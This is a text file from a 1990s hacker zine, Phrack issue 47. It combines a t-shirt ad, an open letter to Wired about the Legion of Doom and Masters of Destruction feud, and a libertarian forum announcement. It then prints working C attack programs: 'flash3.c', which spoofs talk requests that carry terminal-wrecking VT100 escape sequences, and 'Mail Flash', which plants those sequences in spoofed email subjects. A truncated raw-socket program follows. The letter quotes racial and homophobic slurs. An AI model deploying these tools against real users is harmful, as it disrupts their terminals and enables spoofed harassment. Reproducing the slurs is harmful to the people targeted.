home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack47.tx4 < prev    next >
Encoding:
Text File  |  2003-06-11  |  63.7 KB  |  2,039 lines
  1.                          ==Phrack Magazine==
  2.  
  3.               Volume Six, Issue Forty-Seven, File 4 of 22
  4.  
  5.  
  6.                            //   //  /\   //   ====
  7.                           //   //  //\\ //   ====
  8.                          ==== //  //  \\/   ====
  9.  
  10.                      /\   //  // \\    //  /===   ====
  11.                     //\\ //  //   //  //   \=\   ====
  12.                    //  \\/    \\ //  //   ===/  ====
  13.  
  14.                                  PART II
  15.  
  16. ------------------------------------------------------------------------------
  17.  
  18. The official Legion of Doom t-shirts are stll available!!!
  19. Join the net luminaries world-wide in owning one of these amazing
  20. shirts.  Impress members of the opposite sex, increase your IQ,
  21. annoy system administrators, get raided by the government and
  22. lose your wardrobe!
  23.  
  24. Can a t-shirt really do all this?  Of course it can!
  25.  
  26. --------------------------------------------------------------------------
  27.  
  28. "THE HACKER WAR  --  LOD vs MOD"
  29.  
  30. This t-shirt chronicles the infamous "Hacker War" between rival
  31. groups The Legion of Doom and  The Masters of Destruction.  The front
  32. of the shirt displays a flight map of the various battle-sites
  33. hit by MOD and tracked by LOD.  The back of the shirt
  34. has a detailed timeline of the key dates in the conflict, and
  35. a rather ironic quote from an MOD member.
  36.  
  37. (For a limited time, the original is back!)
  38.  
  39. "LEGION OF DOOM  --  INTERNET WORLD TOUR"
  40.  
  41. The front of this classic shirt displays "Legion of Doom Internet World
  42. Tour" as well as a sword and telephone intersecting the planet
  43. earth, skull-and-crossbones style.  The back displays the
  44. words "Hacking for Jesus" as well as a substantial list of "tour-stops"
  45. (internet sites) and a quote from Aleister Crowley.
  46.  
  47. --------------------------------------------------------------------------
  48.  
  49. All t-shirts are sized XL, and are 100% cotton.
  50.  
  51. Cost is $15.00 (US) per shirt.  International orders add $5.00 per shirt for
  52. postage.
  53.  
  54. Send checks or money orders.  Please, no credit cards, even if
  55. it's really your card.
  56.  
  57.  
  58. Name:       __________________________________________________
  59.  
  60. Address:    __________________________________________________
  61.  
  62. City, State, Zip:   __________________________________________
  63.  
  64.  
  65. I want ____ "Hacker War" shirt(s)
  66.  
  67. I want ____ "Internet World Tour" shirt(s)
  68.  
  69. Enclosed is $______ for the total cost.
  70.  
  71.  
  72. Mail to:   Chris Goggans
  73.            603 W. 13th #1A-278
  74.            Austin, TX 78701
  75.  
  76.  
  77. These T-shirts are sold only as a novelty items, and are in no way
  78. attempting to glorify computer crime.
  79.  
  80. ------------------------------------------------------------------------------
  81.  
  82. [The editor's Open Letter to Wired Magazine...they actually had the nerve
  83.  to print it in their May issue.  Amazing...or was it?  The letter was posted
  84.  to 10 USENET newsgroups, put on the Wired forums on AOL, Mindvox and the Well,
  85.  sent in email to every user of wired.com, faxed to all 7 fax machines at
  86.  Wired and sent to them registered mail.  Probably more than 5 times
  87.  Wired's paid circulation saw it, so they HAD to print it or look foolish.
  88.  At least, that's my take on it.  Just for overkill, here it is again.]
  89.  
  90. To Whom It May Concern:
  91.  
  92. I am writing this under the assumption that the editorial staff at
  93. Wired will "forget" to print it in the upcoming issue, so I am
  94. also posting it on every relevant newsgroup and online discussion forum
  95. that I can think of.
  96.  
  97. When I first read your piece "Gang War In Cyberspace" I nearly choked on
  98. my own stomach bile.  The whole tone of this piece was so far removed from
  99. reality that I found myself questioning what color the sky must be
  100. in Wired's universe.  Not that I've come to expect any better from Wired.
  101. Your magazine, which could have had the potential to actually do something,
  102. has become a parody...a politically correct art-school project that
  103. consistently falls short of telling the whole story or making a solid point.
  104. (Just another example of Kapor-Kash that ends up letting everyone down.)
  105.  
  106. I did however expect more from Josh Quittner.
  107.  
  108. I find it interesting that so much emphasis can be placed on an issue of
  109. supposed racial slurs as the focus of an imaginary "gang war," especially
  110. so many years after the fact.
  111.  
  112. It's also interesting to me that people keep overlooking the fact that one of
  113. the first few members of our own little Legion of Doom was black (Paul
  114. Muad'dib.)  Maybe if he had not died a few years back that wouldn't be
  115. so quickly forgotten.  (Not that it makes a BIT of difference what color
  116. a hacker is as long as he or she has a brain and a modem, or these days
  117. at least a modem.)
  118.  
  119. I also find it interesting that a magazine can so easily implicate someone
  120. as the originator of the so-called "fighting words" that allegedly sparked
  121. this online-battle, without even giving a second thought as to the damage
  122. that this may do to the person so named.  One would think that a magazine
  123. would have more journalistic integrity than that (but then again, this IS
  124. Wired, and political correctness sells magazines and satisfies advertisers.)
  125. Thankfully, I'll only have to endure one month of the "Gee Chris, did you
  126. know you were a racist redneck?" phone calls.
  127.  
  128. It's further odd that someone characterized as so sensitive to insults
  129. allegedly uttered on a party-line could have kept the company he did.
  130. Strangely enough, Quittner left out all mention of the MOD member who called
  131. himself "SuperNigger."  Surely, John Lee must have taken umbrage to an
  132. upper-middle class man of Hebrew descent so shamefully mocking him and
  133. his entire race, wouldn't he?   Certainly he wouldn't associate in any way
  134. with someone like that...especially be in the same group with, hang out with,
  135. and work on hacking projects with, would he?
  136.  
  137. Please, of course he would, and he did.  (And perhaps he still does...)
  138.  
  139. The whole "racial issue" was a NON-ISSUE.  However, such things make
  140. exciting copy and garner many column inches so keep being rehashed.  In
  141. fact, several years back when the issue first came up, the statement was
  142. cited as being either "Hang up, you nigger," or "Hey, SuperNigger," but
  143. no one was sure which was actually said.  Funny how the wording changes
  144. to fit the slant of the "journalist" over time, isn't it?
  145.  
  146. I wish I could say for certain which was actually spoken, but alas, I was not
  147. privy to such things.  Despite the hobby I supposedly so enjoyed according
  148. to Quittner, "doing conference bridges," I abhorred the things.  We used to
  149. refer to them as "Multi-Loser Youps" (multi-user loops) and called their
  150. denizens "Bridge Bunnies."  The bridge referred to in the story was
  151. popularized by the callers of the 5A BBS in Houston, Texas.  (A bulletin board,
  152. that I never even got the chance to call, as I had recently been raided by
  153. the Secret Service and had no computer.)  Many people from Texas did call
  154. the BBS, however, and subsequently used the bridge, but so did people from
  155. Florida, Arizona, Michigan, New York and Louisiana.  And as numbers do in the
  156. underground, word of a new place to hang out caused it to propagate rapidly.
  157.  
  158. To make any implications that such things were strictly a New York versus Texas
  159. issue is ludicrous, and again simply goes to show that a "journalist" was
  160. looking for more points to add to his (or her) particular angle.
  161.  
  162. This is not to say that I did not have problems with any of the people
  163. who were in MOD.  At the time I still harbored strong feelings towards
  164. Phiber Optik for the NYNEX-Infopath swindle, but that was about it.
  165. And that was YEARS ago.  (Even I don't harbor a grudge that long.)
  166. Even the dozen or so annoying phone calls I received in late 1990 and
  167. early 1991 did little to evoke "a declaration of war."  Like many people,
  168. I know how to forward my calls, or unplug the phone.  Amazing how technology
  169. works, isn't it?
  170.  
  171. Those prank calls also had about as much to do with the formation of Comsec as
  172. bubble-gum had to do with the discovery of nuclear fission.  (I'm sure if you
  173. really put some brain power to it, and consulted Robert Anton Wilson,
  174. you could find some relationships.)  At the risk of sounding glib, we
  175. could have cared less about hackers at Comsec.  If there were no hackers,
  176. or computer criminals, there would be no need for computer security
  177. consultants.  Besides, hackers account for so little in the real picture
  178. of computer crime, that their existence is more annoyance than something
  179. to actually fear.
  180.  
  181. However, when those same hackers crossed the line and began tapping our
  182. phone lines, we were more than glad to go after them.  This is one of my only
  183. rules of action:  do whatever you want to anyone else, but mess with me and
  184. my livelihood and I will devote every ounce of my being to paying you back.
  185. That is exactly what we did.
  186.  
  187. This is not to say that we were the only people from the computer underground
  188. who went to various law enforcement agencies with information about
  189. MOD and their antics.  In fact, the number of hackers who did was staggering,
  190. especially when you consider the usual anarchy of the underground.  None of
  191. these other people ever get mentioned and those of us at Comsec always take
  192. the lead role as the "narks," but we were far from alone.  MOD managed to
  193. alienate the vast majority of the computer underground, and people reacted.
  194.  
  195. All in all, both in this piece, and in the book itself, "MOD, The Gang That
  196. Ruled Cyberspace," Quittner has managed to paint a far too apologetic piece
  197. about a group of people who cared so very little about the networks they
  198. played in and the people who live there.  In the last 15 years that I've
  199. been skulking around online, people in the community have always tended
  200. to treat each other and the computers systems they voyeured with a great deal
  201. of care and respect.  MOD was one of the first true examples of a groupthink
  202. exercise in hacker sociopathy.  Selling long distance codes, selling credit
  203. card numbers, destroying systems and harassing innocent people is not
  204. acceptable behavior among ANY group, even the computer underground.
  205.  
  206. There have always been ego flares and group rivalries in the underground, and
  207. there always will be.  The Legion of Doom itself was FOUNDED because of a
  208. spat between its founder (Lex Luthor) and members of a group called The Knights
  209. of Shadow.  These rivalries keep things interesting, and keep the community
  210. moving forward, always seeking the newest bit of information in a series
  211. of healthy one-upsmanship.  MOD was different.  They took things too far
  212. against everyone, not just against two people in Texas.
  213.  
  214. I certainly don't condemn everyone in the group.  I don't even know
  215. a number of them (electronically or otherwise.)  I honestly believe
  216. that Mark Abene (Phiber) and Paul Stira (Scorpion) got royally screwed while
  217. the group's two biggest criminals, Julio Fernandez (Outlaw) and Allen Wilson
  218. (Wing), rolled over on everyone else and walked away free and clear.  This is
  219. repulsive when you find out that Wing in particular has gone on to be
  220. implicated in more damage to the Internet (as Posse and ILF) than anyone in
  221. the history of the computing.  This I find truly disgusting, and hope that
  222. the Secret Service are proud of themselves.
  223.  
  224. Imagine if I wrote a piece about the terrible treatment of a poor prisoner
  225. in Wisconsin who was bludgeoned to death by other inmates while guards
  226. looked away.  Imagine if I tried to explain the fact that poor Jeff Dahmer was
  227. provoked to murder and cannibalism by the mocking of adolescent boys who teased
  228. and called him a faggot.  How would you feel if I tried to convince you that we
  229. should look upon him with pity and think of him as a misunderstood political
  230. prisoner?  You would probably feel about how I do about Quittner's story.
  231.  
  232. 'Hacker' can just as easily be applied to "journalists" too, and with this
  233. piece Quittner has joined the Hack Journalist Hall of Fame, taking his
  234. place right next to Richard Sandza.
  235.  
  236. Quittner did get a few things right.  I do have a big cat named Spud, I do
  237. work at a computer company and I do sell fantastic t-shirts.  Buy some.
  238.  
  239. With Love,
  240.  
  241. Chris Goggans
  242. aka Erik Bloodaxe
  243.  
  244. phrack@well.com
  245.  
  246. ------------------------------------------------------------------------------
  247.  
  248. From: DigitaLiberty@phantom.com
  249.  
  250. Subject: Announcing - The DigitaLiberty Forum
  251.  
  252. PLEASE RE-DISTRIBUTE THIS AS YOU SEE FIT
  253.  
  254. Friends of Liberty,
  255.  
  256. It is becoming increasingly apparent that the arrival of cyberspace is
  257. destined to engender a fundamental discontinuity in the course of human
  258. relations.  This is a source of great optimism and opportunity for those of
  259. us who believe in freedom.
  260.  
  261. Many of you who participate in the lively debates that take place in these
  262. forums have seen a number of activist organizations spring up claiming  to
  263. represent the cause of freedom.  And if you are like me you have cheered
  264. these groups on only to watch them get bogged down in a quagmire of
  265. realpolitics.  
  266.  
  267. It is a sad fact that the beast in Washington has evolved into a
  268. self-perpetuating engine expert at co-opting the principles of even the most
  269. ardent reformers.  Slowly but surely all those who engage the system are
  270. ultimately absorbed into the mainstream miasma of majoritarianism.  For
  271. example, what can be more discouraging than watching an organization that
  272. started out as a civil liberties group shift its focus to creating new forms
  273. of government entitlements while endorsing intrusive wiretap legislation
  274. because they didn't want to jeopardize their influence and prestige amongst
  275. the Washington power elite?
  276.  
  277. Some of us believe we can seek ultimate redress at the polls.  Many pundits
  278. have declared our recent national elections a watershed in politics, a
  279. turning point that represents the high water mark of big government.
  280.  Nonsense.  The names have changed, the chairs have been rearranged, but the
  281. game remains the same.  The so-called "choices" we are presented with are
  282. false, hardly better than the mock one-party elections held by failed
  283. totalitarian regimes.  There must be a better way.
  284.  
  285. I would like to announce the formation of a new group - DigitaLiberty - that
  286. has chosen a different path.  We intend to bypass the existing political
  287. process.  We reject consensus building based on the calculus of compromise.
  288.  Instead we plan to leave the past behind, much as our pioneering forefathers
  289. did when they set out to settle new lands.  It is our mission to create the
  290. basis for a different kind of society.  If you would like to join us I invite
  291. you to read the information below.
  292.  
  293. Yours in freedom,
  294.  
  295.  
  296.  
  297. Bill Frezza
  298. Co-founder, DigitaLiberty
  299. December 1994
  300.  
  301.  
  302.  
  303. ***  What is DigitaLiberty?
  304.  
  305. DigitaLiberty is an advocacy group dedicated to the principled defense of
  306. freedom in cyberspace.  We intend to conduct this defense not by engaging in
  307. traditional power politics but by setting an active, persuasive example -
  308. creating tangible opportunities for others to join us as we construct new
  309. global communities.  
  310.  
  311. We believe deeply in free markets and free minds and are convinced that we
  312. can construct a domain in which the uncoerced choices of individuals supplant
  313. the social compact politics of the tyranny of the majority. 
  314.  
  315. ***  Is DigitaLiberty a political party or a lobbying group?
  316.  
  317. Neither.  
  318.  
  319. DigitaLiberty does not seek to educate or influence politicians in the hope
  320. of obtaining legislation favorable to our constituents.  We plan to make
  321. politicians and legislators irrelevant to the future of network based
  322. commerce, education, leisure, and social intercourse.
  323.  
  324. DigitaLiberty does not seek to persuade a majority of the electorate to adopt
  325. views which can then be forced upon the minority.  We hope to make
  326. majoritarianism irrelevant.  We invite only like minded individuals to help
  327. us build the future according to our uncompromised shared values.  
  328.  
  329.  
  330. *** What do you hope to accomplish?
  331.  
  332. DigitaLiberty is not hopeful that widespread freedom will come to the
  333. physical world, at least not in our lifetime.  Too many constituencies depend
  334. upon the largess and redistributive power of national governments and
  335. therefore oppose freedom and the individual responsibility it entails.  But
  336. we do believe that liberty can and will prevail in the virtual domains we are
  337. building on the net and that national governments will be powerless to stop
  338. us.  We believe that cyberspace will transcend national borders, national
  339. cultures, and national economies.  We believe that no one will hold
  340. sovereignty over this new realm because coercive force is impotent in
  341. cyberspace.
  342.  
  343. In keeping with the self-organizing nature of on-line societies we believe we
  344. will chose to invent new institutions to serve our varied economic and social
  345. purposes.  DigitaLiberty intends to be in the forefront of the discovery and
  346. construction of these institutions.  
  347.  
  348. ***  But what about the construction of the "Information Superhighway"?
  349.  
  350. The fabric of cyberspace is rapidly being built by all manner of entities
  351. espousing the full range of political and economic philosophies.   While
  352. political activity can certainly accelerate or retard the growth of the net
  353. in various places and times it cannot stop it nor can it effectively control
  354. how the net will be used.  
  355.  
  356. Our focus is not on the institutions that can and will impact the building of
  357. the physical "information highway" but on those that will shape life on the
  358. net as an ever increasing portion of our productive activities move there.
  359.  
  360. ***  What makes you think cyberspace will be so different?
  361.  
  362. The United States of America was the only country in history ever to be built
  363. upon an idea.  Unfortunately, this idea was lost as we slowly traded away our
  364. liberties in exchange for the false promise of security.
  365.  
  366. DigitaLiberty believes that technology can set us free.  The economies of the
  367. developed world are now making a major transition from an industrial base to
  368. an information base.  As they do, the science of cryptology will finally and
  369. forever guarantee the unbreachable right of privacy, protecting individuals,
  370. groups, and corporations from the prying eyes and grasping hands of
  371. sovereigns.  We will all be free to conduct our lives, and most importantly
  372. our economic relations, as we each see fit.  
  373.  
  374. Cyberspace is also infinitely extensible.   There will be no brutal
  375. competition for lebensraum.  Multiple virtual communities can exist side by
  376. side and without destructive conflict, each organized according to the
  377. principles of their members.  We seek only to build one such community, a
  378. community based on individual liberty.  Others are free to build communities
  379. based on other principles, even diametrically opposed principles.  But they
  380. must do so without our coerced assistance.
  381.  
  382. Effective communities will thrive and grow.  Dysfunctional communities will
  383. wither and die.  And for the first time in human history, rapacious societies
  384. will no longer have the power to make war on their neighbors nor can bankrupt
  385. communities take their neighbors down with them.  
  386.  
  387. ***  What does this have to do with my real life?  I can't eat data.  I don't
  388. live in a computer.
  389.  
  390. Yes, but imagine the ultimate impact of mankind's transition from an agrarian
  391. economy to an industrial economy to an information economy.  Our founding
  392. fathers would have consider anyone insane who predicted that a nation of 250
  393. million could feed itself with fewer than 3% of its citizens involved in
  394. agriculture.  Similarly, economists and politicians trapped in the policies
  395. of the past lament our move from a manufacturing economy to a knowledge
  396. worker and service based economy.  We see this as a cause to rejoice.
  397.  
  398. The day will come when fewer than 5% of the citizens of a nation of 1 billion
  399. will be involved in manufacturing - if we still bother calling geographically
  400. defined entities "nations".  What will the rest of us be doing?  We will be
  401. providing each other with an exploding array of services and we will be
  402. creating, consuming, and exchanging information.  Most of this will occur
  403. entirely within or be mediated at least in part by our activities in
  404. cyberspace.  
  405.  
  406. Many of us will earn a very good living on the net.  Our race, our religion,
  407. our gender, our age, our physical appearance and limitations will all be
  408. irrelevant and undetectable.  Hard working individuals from underdeveloped
  409. nations who in the past might have been forced to emigrate in search of
  410. economic freedom and opportunity can now build productive lives in
  411. cyberspace.  And much if not all of the wealth we create that we do not
  412. transform into visible physical assets will be ours to keep and use, beyond
  413. the grasp of sovereigns.  
  414.  
  415. *** What is the purpose of this forum?
  416.  
  417. The DigitaLiberty Forum is a place where like minded individuals can share
  418. their views, observations, and strategies related to the development of
  419. virtual communities based on freedom.  It is a place where people can
  420. exchange information and advice about how they have developed
  421. extra-territorial business and social relationships  - away from the
  422. influence and outside the jurisdiction of governments.  It is a forum for the
  423. posting of essays, questions, and ideas on the topic of liberty.  It is a
  424. place where we can meet and debate the forms that our  new institutions might
  425. take and discuss the practical problems and responsibilities that freedom
  426. entail.
  427.  
  428. In time as our technology matures some of us will move on to more ambitious
  429. projects, launch other programs, and begin our virtual migration from the
  430. swamp of coerced collectivism.  Best of all, there will be no need to
  431. physically move to 'Galt's Gulch' or escape to a floating 'Freedonia'.  We
  432. can all participate in this exodus without hastily quitting our jobs or
  433. disrupting our lives.  And as a larger and larger portion of our economic and
  434. social activities move onto the net we will create a new society, open to all
  435. with the will to enter.  This new world will be interleaved with the physical
  436. world in which we now live and yet will be separate.  And free.
  437.  
  438. Join us as we begin the journey.
  439.  
  440. *** Who can join DigitaLiberty?
  441.  
  442. The DigitaLiberty Forum is open to anyone that can honestly answer yes to the
  443. following two questions:
  444.  
  445. 1)  I renounce the use of coercive force as a tool of social or economic
  446. policy.
  447.  
  448. 2)  I do not derive the majority of my income from funds taken from
  449. taxpayers.
  450.  
  451. *** How do I join DigitaLiberty?
  452.  
  453. If you qualify, send a message to DigitaLiberty-request@phantom.com with the
  454. words "SUBSCRIBE" in the subject line and the message body as follows
  455.  
  456. SUBSCRIBE DigitaLiberty <your name>
  457.  
  458. And welcome to the future.
  459.  
  460. ###
  461.  
  462. ------------------------------------------------------------------------------
  463. /* flash3.c */
  464.  
  465. /* 
  466.    Modified from the original by Vassago. Superflash mods unknown.
  467.    Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub.
  468. */
  469.  
  470. /* 
  471.     This little program is intended to quickly mess up a user's
  472.     terminal by issuing a talk request to that person and sending
  473.     vt100 escape characters that force the user to logout or kill
  474.     his/her xterm in order to regain a sane view of the text.
  475.     It the user's message mode is set to off (mesg n) he/she will
  476.     be unharmed. 
  477.  
  478.     Try compiling with: gcc -o flash flash3.c
  479.  
  480.     Usage: flash user@host [<level>]
  481.    
  482.     Level is either the number or the word for these:
  483.       1)  BASIC  - Old flash, no zmodem. 
  484.       2)  ZMODEM - Old with ZModem.
  485.       3)  KILLER - 99 ZModem flashes. 
  486. */
  487.  
  488. #include <sys/types.h>
  489. #include <sys/socket.h>
  490. #include <netinet/in.h>
  491. #include <netdb.h>
  492. #include <stdio.h>
  493. #include <strings.h>
  494. #include <string.h>
  495. #include <ctype.h>
  496.  
  497. #define BASIC  1
  498. #define ZMODEM 2
  499. #define KILLER 3
  500.  
  501. #define FIRST "\033(0\033#8" 
  502. #define SECOND "\033[1;3r"
  503. #define THIRD  "\033[1;5m\033(0"
  504. #define FOURTH "**\030B00"
  505. #define FIFTH  "\033**EMSI_IRQ8E08"
  506.  
  507. /* Comment this to remove the debugging message... */
  508. #define INFOMESSAGE
  509.  
  510. /* this should really be in an include file..  */
  511.  
  512. #define OLD_NAME_SIZE 9
  513. #define NAME_SIZE    12
  514. #define TTY_SIZE     16 
  515. typedef struct {
  516.     char    type;
  517.     char    l_name[OLD_NAME_SIZE];
  518.     char    r_name[OLD_NAME_SIZE];
  519.     char    filler;
  520.     u_long  id_num;
  521.     u_long  pid;
  522.     char    r_tty[TTY_SIZE];
  523.     struct  sockaddr_in addr;
  524.     struct  sockaddr_in ctl_addr;
  525. } OLD_MSG;
  526.  
  527. typedef struct {
  528.     u_char  vers;
  529.     char    type;
  530.     u_short filler;
  531.     u_long  id_num;
  532.     struct  sockaddr_in addr;
  533.     struct  sockaddr_in ctl_addr;
  534.     long    pid;
  535.     char    l_name[NAME_SIZE];
  536.     char    r_name[NAME_SIZE];
  537.     char    r_tty[TTY_SIZE];
  538. } CTL_MSG;
  539.  
  540. int seed = 0x2837;
  541.  
  542. #define TALK_VERSION    1               /* protocol version */
  543.  
  544. /* Types */
  545. #define LEAVE_INVITE    0
  546. #define LOOK_UP         1
  547. #define DELETE          2
  548. #define ANNOUNCE        3
  549.  
  550. int     current = 1;    /* current id..  this to avoid duplications */
  551.  
  552. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  553. {
  554. static  struct sockaddr    addr;
  555. struct  sockaddr_in *address;
  556. struct  hostent     *host;
  557.  
  558. address = (struct sockaddr_in *)&addr;
  559. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  560. /* fill in the easy fields */
  561. address->sin_family = AF_INET;
  562. address->sin_port = htons(port);
  563. /* first, check if the address is an ip address */
  564. address->sin_addr.s_addr = inet_addr(hostname);
  565. if ( (int)address->sin_addr.s_addr == -1)
  566.     {
  567.     /* it wasn't.. so we try it as a long host name */
  568.     host = gethostbyname(hostname);
  569.     if (host)
  570.         {
  571.         /* wow.  It's a host name.. set the fields */
  572.         /* ?? address->sin_family = host->h_addrtype; */
  573.         bcopy( host->h_addr, (char *)&address->sin_addr,
  574.             host->h_length);
  575.         }
  576.     else
  577.         {
  578.         /* oops.. can't find it.. */
  579.         puts("Flash aborted, could not find address."); 
  580.         exit(-1);
  581.         return (struct sockaddr_in *)0;
  582.         }
  583.     }
  584. /* all done. */
  585. return (struct sockaddr_in *)address;
  586. }
  587.  
  588. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  589. {
  590. int     s;
  591. struct sockaddr sample; /* not used.. only to get the size */
  592.  
  593. s = socket(AF_INET, SOCK_DGRAM, 0);
  594. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  595. } 
  596.  
  597.  
  598. new_ANNOUNCE(char *hostname, char *remote, char *local)
  599. {
  600. CTL_MSG  packet; 
  601. struct   sockaddr_in  *address;
  602.  
  603. /* create a packet */
  604. address = getinaddr(hostname, 666 );  
  605. address->sin_family = htons(AF_INET); 
  606.  
  607. bzero( (char *)&packet, sizeof(packet) );
  608. packet.vers   = TALK_VERSION; 
  609. packet.type   = ANNOUNCE;   
  610. packet.pid    = getpid();
  611. packet.id_num = current;
  612. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  613. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  614. strncpy( packet.l_name, local, NAME_SIZE); 
  615. strncpy( packet.r_name, remote, NAME_SIZE); 
  616. strncpy( packet.r_tty, "", 1); 
  617.  
  618. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  619. }
  620.  
  621. old_ANNOUNCE(char *hostname, char *remote, char *local)
  622. {
  623. OLD_MSG  packet;
  624. struct   sockaddr_in  *address;
  625.  
  626. /* create a packet */
  627. address = getinaddr(hostname, 666 );
  628. address->sin_family = htons(AF_INET);
  629.  
  630. bzero( (char *)&packet, sizeof(packet) );
  631. packet.type   = ANNOUNCE;
  632. packet.pid    = getpid();
  633. packet.id_num = current;
  634. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  635. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  636. strncpy( packet.l_name, local, NAME_SIZE);
  637. strncpy( packet.r_name, remote, NAME_SIZE);
  638. strncpy( packet.r_tty, "", 1);
  639.  
  640. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  641. }
  642.  
  643. int rnd()
  644. {
  645.   seed *=0x1243;
  646.   seed = seed & 0xFFFF;
  647.   seed +=1;
  648.   while(seed>10000)seed-=10000;
  649.   return(seed);
  650. }
  651.  
  652.  
  653. pop(char *hostname, char *username, char *flashstring)
  654. {
  655.   char newflashstr[80];
  656.   int e = rnd();
  657.   sprintf(newflashstr,"%d%s",e,flashstring); 
  658.   new_ANNOUNCE(hostname, username, newflashstr); 
  659.   old_ANNOUNCE(hostname, username, newflashstr);
  660. }    
  661.  
  662. flash(int type, char *hostname, char *username)
  663. {
  664.      char firestring[10];
  665.      int x,y;
  666.  
  667.      current=0;
  668.      if (type == 3) y = 14;
  669.      else y = 1;
  670.  
  671.      for(x=0;x<y;x++)    
  672.      {
  673.     current++;
  674.     pop(hostname, username, FIRST);
  675.     current++; 
  676.     pop(hostname, username, SECOND);
  677.     current++;
  678.     pop(hostname, username, THIRD); 
  679.     if(type>1)
  680.     {
  681.       current++;
  682.       pop(hostname, username, FOURTH); 
  683.       current++;
  684.       pop(hostname, username, FIFTH); 
  685.       current++;
  686.       pop(hostname, username, FOURTH);
  687.     }
  688.     current++;
  689.     pop(hostname, username, FIRST); 
  690.      }
  691.     return(current);
  692. }
  693.  
  694. GetType(char *TypeStr)
  695. {
  696.     if (strcmp(TypeStr,"basic")==0)
  697.         return(1);
  698.     else if (strcmp(TypeStr,"zmodem")==0)
  699.         return(2);
  700.     else if (strcmp(TypeStr,"killer")==0)
  701.         return(3);
  702.     else if (strcmp(TypeStr,"1")==0)
  703.         return(1);
  704.     else if (strcmp(TypeStr,"2")==0)
  705.         return(2);
  706.     else if (strcmp(TypeStr,"3")==0)
  707.         return(3);
  708. }    
  709.  
  710. main(int argc, char *argv[])
  711. {
  712.     char    *hostname, *username; 
  713.     int     pid,type,name;
  714.  
  715.  
  716.     if ( (pid = fork()) == -1)  
  717.         {
  718.         perror("fork()");
  719.         exit(-1);
  720.         }
  721.     if ( !pid )
  722.         {
  723.         exit(0);
  724.         }
  725.     if (argc < 2) { 
  726.         puts("USAGE: flash user@host [<flash type>]");
  727.         puts("Types are: 1) basic, 2) zmodem, 3) killer.");
  728.         puts("Default flash type is zmodem.");
  729.         exit(5);
  730.     }
  731.     if (argc >= 3) {
  732.         type=GetType(argv[argc-1]);
  733.         if(type<1||type>3)type=ZMODEM;
  734.     }
  735.     else type=ZMODEM;   /* default */
  736.  
  737.     for(name=1; name<argc-1; name++)
  738.     {
  739.     username = argv[name]; 
  740.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  741.         {
  742.         puts("Aborted, invalid name.  ");
  743.         exit(-1);
  744.         }
  745.     *hostname = '\0'; 
  746.     hostname++; 
  747.  
  748.     if (*username == '~') 
  749.         username++; 
  750. #ifdef INFOMESSAGE
  751.             printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  752.             type,username,hostname,
  753.             flash(type,hostname,username));
  754. #else
  755.     flash(type,hostname,username);
  756. #endif
  757.     sleep(1);
  758.     }
  759. }
  760.  
  761.  
  762. ------------------------------------------------------------------------------
  763.  
  764. /*
  765.  
  766.   Mail Flash - (C) 1994 CHA0S All Rights Reserved
  767.   
  768.   This is a simple program which demonstrates the problem with certain
  769.   parts of VT100 emulation.  Previously similar programs made use
  770.   of talkd, but a user could stop attempts by simply entering
  771.   "mesg n".  This program sends the "flash" string which will really
  772.   screw over a terminal in the SUBJECT header of e-mail.  E-Mail readers
  773.   such as pine show you this before you can decide to even delete the mail!
  774.   
  775.   Support has been added to choose your own SMTP server for neat-o hostname
  776.   spoofing.  (krad!)
  777.   
  778. */  
  779.  
  780. #include <stdio.h>
  781. #include <sys/param.h>
  782. #include <sys/socket.h>
  783. #include <netinet/in.h>
  784. #include <netdb.h>
  785. #include <stdarg.h>
  786.  
  787. void smtp_connect(char *server);
  788.  
  789. int thesock; /* the socket */
  790.  
  791. void smtp_connect(char *server)
  792. {
  793.   struct sockaddr_in sin;
  794.   struct hostent *hp;
  795.   
  796.   hp = gethostbyname(server);
  797.   if (hp==NULL) {
  798.     printf("Unknown host: %s\n",server);
  799.     exit(0);
  800.   }
  801.   bzero((char*) &sin, sizeof(sin));
  802.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  803.   sin.sin_family = hp->h_addrtype;
  804.   sin.sin_port = htons(25);
  805.   thesock = socket(AF_INET, SOCK_STREAM, 0);
  806.   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  807. }
  808.  
  809. void main(int argc, char **argv)
  810. {
  811.   char buf[1024];
  812.   
  813.   if (argc != 4) {
  814.     printf("usage: mflash smtp_server from to\n");
  815.     exit(0);
  816.   }
  817.   printf("Connecting to SMTP Server %s\n",argv[1]);
  818.   smtp_connect(argv[1]);
  819.   printf("Sending Mail Flash To %s\n",argv[3]);
  820.   sprintf(buf, "helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]);
  821.   send(thesock, buf, strlen(buf), 0);
  822.   /* I am not sure how to check when this buffer is done being sent.
  823.      If you are having any problems increase the sleep time below! */
  824.   printf("Sleeping To Make Sure Data Is Sent ...\n");
  825.   sleep(3);
  826.   printf("Done!\n");
  827. }
  828.  
  829. ------------------------------------------------------------------------------
  830.  
  831. [Editor's Note:  Does this work?  I don't think so, but a clever hacker might
  832.  use the code to do something "interesting."  The concept is sound...the
  833.  delivery needs a bit of tweaking.]
  834.  
  835. #include <netdb.h>
  836. #include <sys/time.h>
  837. #include <sys/types.h>
  838. #include <sys/socket.h>
  839. #include <netinet/in.h>
  840. #include <netinet/in_systm.h>
  841. #include <netinet/ip.h>
  842. #include <netinet/ip_icmp.h>
  843. #include <netinet/tcp.h>
  844. #include <signal.h>
  845. #include <errno.h>
  846. #include <string.h>
  847. #include <stdlib.h>
  848. #include <stdio.h>
  849.  
  850. int 
  851. resolver(host,saddr)
